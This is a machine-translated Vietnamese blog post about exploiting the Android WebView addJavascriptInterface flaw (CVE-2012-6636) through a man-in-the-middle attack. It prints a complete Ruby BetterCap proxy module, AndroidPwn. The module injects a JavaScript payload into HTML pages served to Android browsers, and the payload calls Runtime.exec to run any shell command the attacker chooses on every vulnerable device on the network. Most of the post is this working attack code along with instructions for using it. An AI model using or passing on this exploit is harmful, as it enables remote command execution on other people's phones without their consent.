Autopwn every Android < 4.2 device on your network using BetterCap and the "addJavascriptInterface" vulnerability - Hacking

Gần đây tôi đã chơi với lỗ hổng WebView dựa Android, tập trung vào làm thế nào để khai thác chúng sử dụng một cuộc tấn công MITM.
Một trong những thú vị nhất là addJavascriptInterface dễ bị tổn thương ( CVE-2012-6636 ) mà ảnh hưởng đến mọi thiết bị chạy một phiên bản cũ hơn so với Android 4.2.
CHÚ THÍCH
Tiêu đề đầu tiên của bài viết này là Autopwn mỗi thiết bị Android trên mạng của bạn sử dụng BetterCap và "addJavascriptInterface" dễ bị tổn thương và một số người đã chỉ ra đó là một tiêu đề gây hiểu nhầm vì " mỗi Android! = Mỗi Android <4.2 ". Tôi hoàn toàn đồng ý với họ, đó không phải là cố ý, điểm của bài này tự nó không hiển thị một số kỹ thuật 0day uber, nhưng chỉ để hiển thị như thế nào dễ dàng là sử dụng bettercap nhằm khai thác loại như vậy của các lỗ hổng.
hack
Có một bài viết xuất sắc về lỗ hổng này, câu chuyện dài ngắn, nếu có một ứng dụng đó là sử dụng mộtWebView kiểm soát giao diện người dùng và nó tuyên bố một tùy chỉnh giao diện javascript cho nó như vậy:
public class WebViewGUI extends Activity {
WebView mWebView;
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
mWebView=new WebView(this);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JavaScriptInterface(), "jsinterface");
mWebView.loadUrl("file:///android_asset/www/index.html");
setContentView(mWebView);
}
final class JavaScriptInterface {
JavaScriptInterface () { }
public String getSomeString() {
return "string";
}
}
}
view rawjsinterface.java hosted with ❤ by GitHub
bạn có thể tiêm một số javascript đặc biệt vào trang đó và làm cho thiết bị đó thực hiện lệnh shell bất kỳ mà bạn muốn.
Trong bài viết này, tôi muốn hiển thị như thế nào dễ dàng là để tự động khai thác mọi thiết bị dễ bị tổn thương trên mạng của bạn sử dụng bettercap và cho mục đích này tôi đã viết AndroidPwn module proxy trong suốt.
class AndroidPwn < BetterCap::Proxy::Module
@@command = nil
@@payload = "<script>\n" +
"var command = ['/system/bin/sh','-c','COMMAND_HERE'];\n" +
"for(i in top) {\n" +
" try {\n" +
" top[i].getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);\n" +
" break;\n" +
" }\n" +
"catch(e) {}\n" +
"}\n" +
"</script>"
def self.on_options(opts)
opts.separator ""
opts.separator "AndroidPwn Proxy Module Options:"
opts.separator ""
opts.on( '--command STRING', 'Shell command(s) to execute.' ) do |v|
@@command = v.strip
@@payload['COMMAND_HERE'] = @@command.gsub( "'", "\\\\'" )
end
end
def initialize
raise BetterCap::Error, "No --command option specified for the proxy module." if @@command.nil?
end
def on_request( request, response )
if is_exploitable?( request, response )
BetterCap::Logger.info ""
BetterCap::Logger.info "Pwning Android Device :".red
BetterCap::Logger.info " URL : http://#{request.host}#{request.url}"
BetterCap::Logger.info " AGENT : #{request.headers['User-Agent']}"
BetterCap::Logger.info ""
response.body.sub!( '</head>', "</head>#{@@payload}" )
end
end
private
def is_exploitable?(req,res)
req.headers.has_key?('User-Agent') and \
req.headers['User-Agent'].include?("Android") and \
req.headers['User-Agent'].include?("AppleWebKit") and \
res.content_type =~ /^text\/html.*/ and \
res.code == '200'
end
end
view rawandroidpwn.rb hosted with ❤ by GitHub
Như bạn thấy, bạn chỉ cần kích hoạt nó và chỉ định một COMMAND --command đối số dòng lệnh và bạn đã sẵn sàng để đi.
androidpwn
Hãy để nó chạy và nó sẽ tự động thực hiện một cuộc tấn công Man-In-The-Middle trên mạng của bạn và thực hiện lệnh (s) bạn đã chọn trên mỗi thiết bị Android duy nhất nó sẽ tìm thấy trên mạng.

0 Comment:

Đăng nhận xét

Thank you for your comments!